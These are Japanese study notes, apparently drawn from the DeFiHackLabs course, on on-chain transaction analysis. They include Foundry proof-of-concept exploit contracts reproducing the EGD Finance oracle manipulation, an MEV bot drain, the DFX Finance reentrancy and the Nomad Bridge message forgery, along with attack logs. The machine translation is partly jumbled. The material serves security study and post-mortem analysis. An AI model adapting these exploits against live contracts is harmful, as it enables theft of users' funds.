【ブロックチェーンセキュリティ・オンチェーン分析】オンチェーンセキュリティ分析と関連POC作成
PS: この記事は、Github の DeFiHackLabs に関する関連記事を参照しています。リンクはこちらです。非常によく書かれており、そこから多くの恩恵を受けました、どうもありがとうございました。以下は私の勉強中のメモです。
1. ウォームアップ
例として、Etherscan
オンライン リアルタイム トランザクションを取り上げます。0x653a4d3d34f51d3e094da1dce87a084b6e4865abd882963eda04b5da42de7ed8
これはapprove
契約であり、EtherScan 上のアドレスは次のとおりです。
https://etherscan.io/tx/0x653a4d3d34f51d3e094da1dce87a084b6e4865abd882963eda04b5da42de7ed8
で情報をOverView
確認できます。イベントの送信も で確認できます。また、アドレス ( ) 内の情報も変化しています (マイナーとコーラーなど)。Value,Gas,Burnt
Logs
State
Balance
を検索phalcon
すると、Invocation Flow
コール プロセス全体が表示されます。Sender
、Call
、およびその他の情報を連結して表示できますEvent
。
Uniswap
同じブロックトランザクションを使用してもう一度見てください0x1cd5ceda7e2b2d8c66f8c5657f27ef6f35f9e557c8d1532aa88665a37130da84
。
イーサスキャンは指摘するTransaction Action:Swap 12,716.454883 USDT For 7,118.742245582778486733 UNDEAD On Uniswap V2
。そして、Internal Txns
コントラクト間のクロス コントラクト コールを取得することによって。
しかし、phalcon
それを使って見てみると非常によく、一方でトークンの流れは で、アドレスごとのトークンの変化は で見ることができますFund Flow
。ERC20
Balance Changes
その中でInvocation Flow
、呼び出しを完全に確認できるだけでなく、DebgLine に入って結果とフィードバックを取得し、JSON
関数呼び出しの結果を部分的に確認することもできます。同時に、Step In/Out
関数呼び出しのプロセスを表示できます。
同時にDeFi
例をtxn
示します0x667cb82d993657f2779507a0262c9ed9098f5a387e8ec754b99f6e1d61d92d0b
。ユーザーは、phalcon
ユーザーが USDT の流動性を追加し、CRV を作成したことを明確に確認できます。ただし、現時点ではDebugLine
オープンソースがないため、機能は無効です。
また、上記の例をチェックして、どのように動作するかCompound
を確認してください。内部で何が起こっているかをよりよく視覚化するのにも役立ちます。Etherscan
Vote
Governance
phalcon
DefiHackLab
それをテストし、同時に操作に慣れてください。
forge test --contracts ./src/test/Uniswapv2.sol -vvvv
Gas
、およびその他の情報を含む、特定の情報が非常に詳細にリストされることがわかりますdelegateCall
。
2.オラクル操作POCの価格設定
オラクル マシンは、基本的に、チェーン上のデータを人間 (または機械) で実現したものであり、価格を能動的または受動的にフィードします。コントラクトは、トークン リザーブの比率を計算することによって計算することもできます。
情報を整理する:
- トランザクション ID トランザクション ハッシュ
- Attacker Address(EOA) 攻撃アドレス (外部)
- 攻撃契約アドレス 攻撃契約アドレス
- 脆弱性アドレス 脆弱性契約アドレス
- 全損 全損
- 参照リンク 関連参照リンク
- 事後分析のリンク 事後評価レポートのリンク
- 脆弱なスニペット関連のコード スニペット
- 監査履歴 監査履歴
推奨されるテンプレートは次のとおりです。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;
import "forge-std/Script.sol";
// @KeyInfo - Total Lost : ~999M US$
// Attacker : 0xcafebabe
// Attack Contract : 0xdeadbeef
// Vulnerable Contract : 0xdeadbeef
// Attack Tx : 0x123456789
// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0xdeadbeef#code
// @Analysis
// Post-mortem : https://www.google.com/
// Twitter Guy : https://www.google.com/
// Hacking God : https://www.google.com/
contract ExploitScript is Script {
function setUp() public {}
function run() public {
vm.startBroadcast();
vm.stopBroadcast();
}
}
EGD Finance
ハッシュ化が である例を挙げると、チェーン0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3
上で発生しますBSC
。
解析の流れ
- 攻撃者は、
harvest
- 2回連続のフラッシュローン、
calacuteEDGprice
プライスフィード問題を利用して、
したがって、POC コントラクトは次のようになります。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : ~36K US$
// Event : EGD-Finance Hack
// Analysis via https://explorer.phalcon.xyz/tx/bsc/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3
// Attacker : 0xee0221d76504aec40f63ad7e36855eebf5ea5edd
// Attack Contract : 0xc30808d9373093fbfcec9e026457c6a9dab706a7
// Vulnerable Contract : 0x34bd6dba456bc31c2b3393e499fa10bed32a9370 (EGD Staking Proxy Contract)
// Vulnerable Contract : 0x93c175439726797dcee24d08e4ac9164e88e7aee (EDG Staking Logic Contract)
// Attack Tx : https://bscscan.com/tx/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3
// @Info
// FlashLoan Lending Pool USDT_WBNB : 0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE
// FlashLoan Lending Pool EGD_USDT : 0xa361433E409Adac1f87CDF133127585F8a93c67d
// Swap Pancake Router : 0x10ED43C718714eb63d5aA57B78B54704E256024E
// @Analysis
// DefiHackLab : https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/03_write_your_own_poc/
IPancakePair constant USDT_WBNB_LPPool = IPancakePair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
IPancakePair constant EGD_USDT_LPPool = IPancakePair(0xa361433E409Adac1f87CDF133127585F8a93c67d);
IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
address constant EGD_Finance = 0x34Bd6Dba456Bc31c2b3393e499fa10bED32a9370;
address constant USDT_ADDRESS = 0x55d398326f99059fF775485246999027B3197955;
address constant EGD_ADDRESS = 0x202b233735bF743FA31abb8f71e641970161bF98;
contract EGDFinanceAttacker is Test { // EOA Simulation
function setUp() public {
vm.createSelectFork("bsc",20245522); // Go back to staking time
}
function testExploit() public {
Exploit exploit = new Exploit();
console.log("--- Set-up, stake 100 USDT to EGD Finance ---");
exploit.stake();
vm.warp(1659914146); // set timestamp for staking reward
console.log("--- Staking finished ------------------------");
console.log("--- Starting hacking ------------------------");
emit log_named_decimal_uint("[Start] Attacker USDT Balance", IERC20(USDT_ADDRESS).balanceOf(address(this)), 18);
emit log_named_decimal_uint("[INFO] EGD/USDT Price before price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18);
emit log_named_decimal_uint("[INFO] Current earned reward (EGD token)", IEGD_Finance(EGD_Finance).calculateAll(address(exploit)), 18);
exploit.harvest();
console.log("--- Hacking finished -----------------------");
emit log_named_decimal_uint("[End] Attacker USDT Balance", IERC20(USDT_ADDRESS).balanceOf(address(this)), 18);
}
}
contract Exploit is Test { // Attack Contract
uint borrowUSDT;
uint borrowUSDT2;
function stake() public {
deal(address(USDT_ADDRESS),address(this),100 ether); // set balance of address of (ERC20) to amount
IEGD_Finance(EGD_Finance).bond(address(0x659b136c49Da3D9ac48682D02F7BD8806184e218));
IERC20(USDT_ADDRESS).approve(EGD_Finance,100 ether);
IEGD_Finance(EGD_Finance).stake(100 ether);
}
function harvest() public {
console.log("Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve"); // Description
borrowUSDT = 2000 ether;
USDT_WBNB_LPPool.swap(borrowUSDT,0,address(this),"0000");
console.log("Flashloan[1] : FlashLoan Payable success");
IERC20(USDT_ADDRESS).transfer(msg.sender,IERC20(USDT_ADDRESS).balanceOf(address(this)));
}
function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
bool isBorrowUSDT = (keccak256(data) == keccak256("0000"));
if (isBorrowUSDT){
console.log("Receiving callback for FlashLoad[1]");
borrowUSDT2 = IERC20(USDT_ADDRESS).balanceOf(address(EGD_USDT_LPPool)) * 9_999_999_925 / 10_000_000_000; // 99.99999925% USDT of EGD_USDT_LPPool reserve To manipulate price
EGD_USDT_LPPool.swap(0,borrowUSDT2,address(this),"00");
console.log("FlashLoad[2] payable success");
console.log("Sweep USDT in pair");
address[] memory paths = new address[](2);
paths[0] = EGD_ADDRESS;
paths[1] = USDT_ADDRESS;
IERC20(EGD_ADDRESS).approve(address(pancakeRouter),type(uint256).max);
pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
IERC20(EGD_ADDRESS).balanceOf(address(this)),1,paths,address(this),block.timestamp *2
);
IERC20(USDT_ADDRESS).transfer(msg.sender,2010 ether);
}else{
console.log("Receiving callback for FlashLoad[2]");
emit log_named_decimal_uint("[INFO] EGD/USDT Price after price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18);
emit log_named_decimal_uint("[INFO] Current earned reward (EGD token)", IEGD_Finance(EGD_Finance).calculateAll(address(this)), 18);
console.log("Claim all EGD Token reward from EGD Finance contract");
IEGD_Finance(EGD_Finance).claimAllReward();
emit log_named_decimal_uint("[End] Attacker EGD Balance", IERC20(EGD_ADDRESS).balanceOf(address(this)), 18);
uint256 swapfee = borrowUSDT2 * 3 / 1000; // Attacker pay 0.3% fee to Pancakeswap
IERC20(USDT_ADDRESS).transfer(address(EGD_USDT_LPPool), borrowUSDT2 + swapfee);
}
}
}
/* -------------------- Interface -------------------- */
interface IEGD_Finance { // Interface needed to interact
function bond(address invitor) external;
function stake(uint256 amount) external;
function calculateAll(address addr) external view returns (uint256);
function claimAllReward() external;
function getEGDPrice() external view returns (uint256);
}
3. MEV ボット POC
要約すると、MEV BOT
残高が多すぎると同時に、Pair
身元の確認がありません。
逆コンパイル後、
function pancakeCall(address varg0, uint256 varg1, uint256 varg2, bytes varg3) public nonPayable {
require(msg.data.length - 4 >= 128);
require(varg0 == varg0);
require(varg3 <= 0xffffffffffffffff);
require(4 + varg3 + 31 < msg.data.length);
require(varg3.length <= 0xffffffffffffffff);
require(4 + varg3 + varg3.length + 32 <= msg.data.length);
v0 = new bytes[](varg3.length);
CALLDATACOPY(v0.data, varg3.data, varg3.length);
v0[varg3.length] = 0;
0x10a(v0, varg2, varg1);
}
はいvarg0 = sender
、つまり、送信者、真ん中にいるvarg1=amount0
人、真ん中にいる人です。(ここでは設定のみを使用しています)、偽造するためです。後であるでしょうpair
token0
varg2=amount1
pair
token1
token0
pair
0x10a(v0=varg3,varg2,varg1)
関数をもう一度見てください0x10a
。
最初に従ってamount0
、または選択amount1
します(ここでのみ使用)token0
token1
token0
v5, v6 = address(v3).transfer(address(MEM[varg0.data]), varg1).gas(msg.gas);
関数と後でMEM[varg0.data]
アクセスする関数。具体的なコードがないため、解析を続けるのは困難です。swap
token1
例を書きましたPOC
が、まだまだ足りないところがたくさんあります.例えば、模擬EOA
口座は直接受け取らないで、Exploit
模擬口座を振替する必要がありますが、無害です.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : ~140K US$
// Event : MEV BOT (BNB48)
// Analysis via https://explorer.phalcon.xyz/tx/bsc/0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2
// Attacker : 0xee286554f8b315f0560a15b6f085ddad616d0601
// Attack Contract : 0x5cb11ce550a2e6c24ebfc8df86c5757b596e69c1
// Vulnerable Contract : 0x64dd59d6c7f09dc05b472ce5cb961b6e10106e1d (MEV BOT)
// Attack Tx : https://bscscan.com/tx/0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2
// @Info
// Involve USDT, WBNB, BUSD, USDC for MEV_BOT
// @Analysis
// DefiHackLab : https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/04_write_your_own_poc/
address constant USDT_ADDRESS = 0x55d398326f99059fF775485246999027B3197955;
address constant WBNB_ADDRESS = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address constant BUSD_ADDRESS = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;
address constant USDC_ADDRESS = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;
address constant TARGET_MEV = 0x64dD59D6C7f09dc05B472ce5CB961b6E10106E1d;
contract MEVBOTAttacker is Test { // EOA Simulation
function setUp() public {
vm.createSelectFork("bsc",21297409); // Go back to staking time
}
function testExploit() public {
Exploit exploit = new Exploit();
emit log_named_decimal_uint("[Start] Attacker USDT Balance", IERC20(USDT_ADDRESS).balanceOf(address(this)), 18);
emit log_named_decimal_uint("[Start] Attacker WBNB Balance", IERC20(WBNB_ADDRESS).balanceOf(address(this)), 18);
emit log_named_decimal_uint("[Start] Attacker BUSD Balance", IERC20(BUSD_ADDRESS).balanceOf(address(this)), 18);
emit log_named_decimal_uint("[Start] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), 18);
console.log("starting exploiting ...");
exploit.attack();
console.log("Ending exploiting ...");
emit log_named_decimal_uint("[End] Attacker USDT Balance", IERC20(USDT_ADDRESS).balanceOf(address(this)), 18);
emit log_named_decimal_uint("[End] Attacker WBNB Balance", IERC20(WBNB_ADDRESS).balanceOf(address(this)), 18);
emit log_named_decimal_uint("[End] Attacker BUSD Balance", IERC20(BUSD_ADDRESS).balanceOf(address(this)), 18);
emit log_named_decimal_uint("[End] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), 18);
}
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) public {}
}
contract Exploit is Test { // Attack Contract
address private owner;
address public token0;
// address public token1;
constructor() {
owner = msg.sender;
console.log("Exploit Created by %s", owner);
}
function attack() public {
token0 = USDT_ADDRESS;
subAttack();
token0 = WBNB_ADDRESS;
subAttack();
token0 = BUSD_ADDRESS;
subAttack();
token0 = USDC_ADDRESS;
subAttack();
}
function subAttack() private {
IBOT(TARGET_MEV).pancakeCall(
address(this),
IERC20(token0).balanceOf(TARGET_MEV),
0,
abi.encodePacked(
bytes12(0), bytes20(address(owner)), // slot
bytes32(0),
bytes32(0))
);
}
function token1() public returns(address){
return token0;
}
}
// interface of MEV
interface IBOT {
function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
4. ラグプル分析c
主な分析は、CirculateBUSD
プロジェクトの動作ですRugPull
。送信は0x3475278b4264d4263309020060a1af28d7be02963feaf1a1e97e9830c68834b3
. しかし、今日はphalcon
予想外に最初にダウンしました。
コールスタックを観察すると、startTrading
その中で再度呼び出されている未开源合约
. 逆解析すると、通常のトランザクションとトランザクションを区別して残されたバックドアであるdecode
ことがわかりました!if
Rugpull
5. 再入可能な POC
ETH
選択した攻撃はチェーンに対するリエントラント攻撃でDFX Finance
、損失は 400 万ドルに達しました。tx Hash = 0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7
. etherscan
トレースログではERC20
、次の結論を導き出すことができます。
1. 攻击合约从其他地址收到了大量通证
2. DFX Finance 似乎收取了手续费
3. 似乎进行了抵押、解压(有质押通证的铸造和销毁)
詳細に分析してみましょう。phalcon
コール スタックを表示します。
- 攻撃契約
- dfx-xidr (victim contract).viewDeposit 200,000 トークンを入金するために必要なカーブ モーゲージを表示します
- フラッシュローン(
0x27e843260c71443b4cc8cb6bf226c3f77b9695af
途中でマルチサインに0.6%の手数料を支払う) deposit
デポジットは、契約の返済に相当するフラッシュ ローンのコールバック関数で使用されます。- フラッシュローン終了後、実施
withdraw
例を書いてくださいPOC
!
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : ~ 4M US$
// Event : DFX-Finance Hack
// Analysis via https://explorer.phalcon.xyz/tx/eth/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7
// Attacker : 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067
// Attack Contract : 0x6cFa86a352339E766FF1cA119c8C40824f41F22D
// Vulnerable Contract : 0x46161158b1947D9149E066d6d31AF1283b2d377C (Curve Contract)
// Attack Tx : https://etherscan.io/tx/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7
// @Info
// Reentrance Attack
// @Analysis
// DefiHackLab : https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/06_write_your_own_poc
address constant TARGET_CURVE = 0x46161158b1947D9149E066d6d31AF1283b2d377C;
address constant XIDR_ADDRESS = 0xebF2096E01455108bAdCbAF86cE30b6e5A72aa52;
address constant USDC_ADDRESS = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address constant dfx_xidr_usdc_v2 = 0x46161158b1947D9149E066d6d31AF1283b2d377C;
contract DFXFinanceHack is Test { // EOA Simulation
function setUp() public {
vm.createSelectFork("mainnet",15941700); // Go back before hacking time
console.log("start with block %d",15941700);
}
function testExploit() public {
console.log("start hacking...");
emit log_named_decimal_uint("[Start] Attacker XIDR Balance", IERC20(XIDR_ADDRESS).balanceOf(address(this)), 6);
emit log_named_decimal_uint("[Start] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), 6);
Exploit exploit = new Exploit();
exploit.attack();
console.log("attacking finished");
emit log_named_decimal_uint("[End] Attacker XIDR Balance", IERC20(XIDR_ADDRESS).balanceOf(address(this)), 6);
emit log_named_decimal_uint("[End] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), 6);
}
}
contract Exploit is Test {
IERC20 xidr = IERC20(XIDR_ADDRESS);
IERC20 usdc = IERC20(USDC_ADDRESS);
IERC20 dfx = IERC20(dfx_xidr_usdc_v2);
ICurve curve = ICurve(TARGET_CURVE);
address owner;
constructor() {
console.log("Exploit Created...");
owner = msg.sender;
initToken();
}
function initToken() public{
xidr.approve(address(curve),type(uint256).max);
usdc.approve(address(curve),type(uint256).max);
dfx.approve(address(curve),type(uint256).max);
}
function attack() public {
uint[] memory toDeposits = new uint[](2);
(, toDeposits) = curve.viewDeposit(200000 ether);
deal(address(xidr), address(this), toDeposits[0] * 8 / 1000);
deal(address(usdc), address(this), toDeposits[1] * 8 / 1000);
emit log_named_decimal_uint("[Init] To deposit 200000 us need xidr ", toDeposits[0], 6);
emit log_named_decimal_uint("[Init] To deposit 200000 us need usdc ", toDeposits[1], 6);
emit log_named_decimal_uint("[Init] Exploit USDC Balance", usdc.balanceOf(address(this)), 6);
emit log_named_decimal_uint("[Init] Exploit XIDR Balance", xidr.balanceOf(address(this)), 6);
emit log_named_decimal_uint("[Init] Exploit USDC Balance", usdc.balanceOf(address(this)), 6);
curve.flash(address(this), toDeposits[0] * 994 / 1000, toDeposits[1] * 994 / 1000, "1");
emit log_named_decimal_uint("[Flashed] Exploit Dfx Balance", dfx.balanceOf(address(this)), 18);
curve.withdraw(dfx.balanceOf(address(this)),type(uint256).max);
emit log_named_decimal_uint("[Ended] Exploit XIDR Balance", xidr.balanceOf(address(this)), 6);
emit log_named_decimal_uint("[End] Exploit USDC Balance", usdc.balanceOf(address(this)), 6);
emit log_named_decimal_uint("[End] Exploit Dfx Balance", dfx.balanceOf(address(this)), 18);
xidr.transfer(owner,xidr.balanceOf(address(this)));
usdc.transfer(owner,usdc.balanceOf(address(this)));
}
function flashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external{
emit log_named_decimal_uint("[Flashed] Exploit XIDR Balance", xidr.balanceOf(address(this)), 6);
emit log_named_decimal_uint("[Flashed] Exploit USDC Balance", usdc.balanceOf(address(this)), 6);
curve.deposit(200000 ether, type(uint256).max);
}
}
/* -------------------- Interface -------------------- */
interface ICurve {
function viewDeposit(uint256) external view returns (uint256, uint256[] memory);
function flash(address,uint256,uint256,bytes calldata) external;
function deposit(uint256,uint256) external;
function withdraw(uint256,uint256) external;
}
攻撃ログは次のとおりです。
Logs:
start with block 15941700
start hacking...
[Start] Attacker XIDR Balance: 0.000000
[Start] Attacker USDC Balance: 0.000000
Exploit Created...
[Init] To deposit 200000 us need xidr : 2325581395.325581
[Init] To deposit 200000 us need usdc : 100000.000000
[Init] Exploit USDC Balance: 800.000000
[Init] Exploit XIDR Balance: 18604651.162604
[Init] Exploit USDC Balance: 800.000000
[Flashed] Exploit XIDR Balance: 2330232558.116231
[Flashed] Exploit USDC Balance: 100200.000000
[Flashed] Exploit Dfx Balance: 387023.837944937241748062
[Ended] Exploit XIDR Balance: 2287743564.832102
[End] Exploit USDC Balance: 100066.263271
[End] Exploit Dfx Balance: 0.000000000000000000
attacking finished
[End] Attacker XIDR Balance: 2287743564.832102
[End] Attacker USDC Balance: 100066.263271
攻撃の前にトークンを手動で転送する必要があることがわかります。そうしないと、税金を前払いできないため失敗します。
6. Nomad Bridge ハック POC
クロスチェーンは現在、一般的に次の原則を採用しています。
- メッセージ交換 (ハッシュ)
- ロックキャスト
- 信頼に基づく (CEX、ラップ)
- 側鎖
Nomad プロジェクトのクロスチェーンの原則:
在Nomad项目中,利用叫做Replica的合约验证Merkle树结构中的消息, 这个合约在各个链上都有部署。项目中的其他合约都依靠这个合约验证输入的消息。一旦消息被验证,它就会被存储在Merkle树中,并生成一个新的承诺树根,并在随后确认、处理。
クロスチェーン検証スマート コントラクトの関連コードはReplica
次のとおりです。
function process(bytes memory _message) public returns (bool _success) {
// ensure message was meant for this domain 这里应该使用了Lib
bytes29 _m = _message.ref(0);
require(_m.destination() == localDomain, "!destination");
// ensure message has been proven
bytes32 _messageHash = _m.keccak();
require(acceptableRoot(messages[_messageHash]), "!proven"); // 要求该根已被证明
// check re-entrancy guard
require(entered == 1, "!reentrant");
entered = 0; // 手动防止重入
// update message status as processed
messages[_messageHash] = LEGACY_STATUS_PROCESSED;
// call handle function
IMessageRecipient(_m.recipientAddress()).handle(
_m.origin(),
_m.nonce(),
_m.sender(),
_m.body().clone()
);
// emit process results
emit Process(_messageHash, true, "");
// reset re-entrancy guard
entered = 1;
// return true
return true;
}
問題ないように見えますが、Nomad
契約は再びアップグレードされます。
function initialize(
uint32 _remoteDomain,
address _updater,
bytes32 _committedRoot,
uint256 _optimisticSeconds
) public initializer {
__NomadBase_initialize(_updater);
// set storage variables
entered = 1;
remoteDomain = _remoteDomain;
committedRoot = _committedRoot;
// pre-approve the committed root.
confirmAt[_committedRoot] = 1;
_setOptimisticTimeout(_optimisticSeconds);
}
初期化 tx (0x99662dacfb4b963479b159fc43c2b4d048562104fe154a4d0c2519ada72e50bf) では、渡されたのはcommittedRoot
である0x0000000000000000000000000000000000000000000000000000000000000000
ため、存在しない にアクセスするとmessages[_messageHash]
、acceptableRoot
ゼロ値のチェックが true になるため、パスできます。
上記の原則に基づいて、攻撃 POC を次のように記述できます。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : ~ 190M US$
// Event : Nomad Bridge Hack
// Analysis via https://explorer.phalcon.xyz/tx/eth/0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460
// Attacker : 0xa8c83b1b30291a3a1a118058b5445cc83041cd9d
// Vulnerable Contract : 0x5d94309e5a0090b165fa4181519701637b6daeba (Proxy Contract)
// Vulnerable Contract : 0xb92336759618f55bd0f8313bd843604592e27bd8 (Replica Contract)
// Attack Tx : https://etherscan.io/tx/0xa5fe9d044e4f3e5aa5bc4c0709333cd2190cba0f4e7f16bcf73f49f83e4a5460
// @Info
// Reentrance Attack
// @Analysis
// DefiHackLab : https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/
address constant TARGET_NOMAD = 0x5D94309E5a0090b165FA4181519701637B6DAEBA;
address constant USDC_ADDRESS = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address constant BRIDGE_ROUTER = 0xD3dfD3eDe74E0DCEBC1AA685e151332857efCe2d;
address constant ERC20_BRIDGE = 0x88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3;
uint32 constant ETHEREUM = 0x657468; // "eth"
uint32 constant MOONBEAM = 0x6265616d; // "beam"
contract DFXFinanceHack is Test { // EOA Simulation
function setUp() public {
vm.createSelectFork("mainnet",15259100); // Go back before hacking time
console.log("start with block %d",15259100);
}
function testExploit() public {
console.log("start hacking...");
emit log_named_decimal_uint("[Start] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), 6);
uint256 hackAmount = IERC20(USDC_ADDRESS).balanceOf(ERC20_BRIDGE);
emit log_named_decimal_uint("[Hacking] Victim USDC Balance", hackAmount, 6);
IBridge(TARGET_NOMAD).process(generateMsg(address(this),USDC_ADDRESS,hackAmount));
console.log("finish hacking...");
emit log_named_decimal_uint("[End] Victim USDC Balance", IERC20(USDC_ADDRESS).balanceOf(TARGET_NOMAD), 6);
emit log_named_decimal_uint("[End] Attacker USDC Balance", IERC20(USDC_ADDRESS).balanceOf(address(this)), 6);
}
// 任意生成,只要hash不存在就行
function generateMsg(address to, address token, uint256 amount) internal returns(bytes memory){
return abi.encodePacked(
MOONBEAM, // Home chain domain
uint256(uint160(BRIDGE_ROUTER)), // Sender: bridge
uint32(0), // Dst nonce
ETHEREUM, // Dst chain domain
uint256(uint160(ERC20_BRIDGE)), // Recipient (Nomad ERC20 bridge)
ETHEREUM, // Token domain
uint256(uint160(token)), // token id (e.g. WBTC)
uint8(0x3), // Type - transfer
uint256(uint160(to)), // Recipient of the transfer
uint256(amount), // Amount
uint256(0) // Optional: Token details hash
);
}
}
/* -------------------- Interface -------------------- */
interface IBridge {
function process(bytes memory _message) external returns (bool _success);
}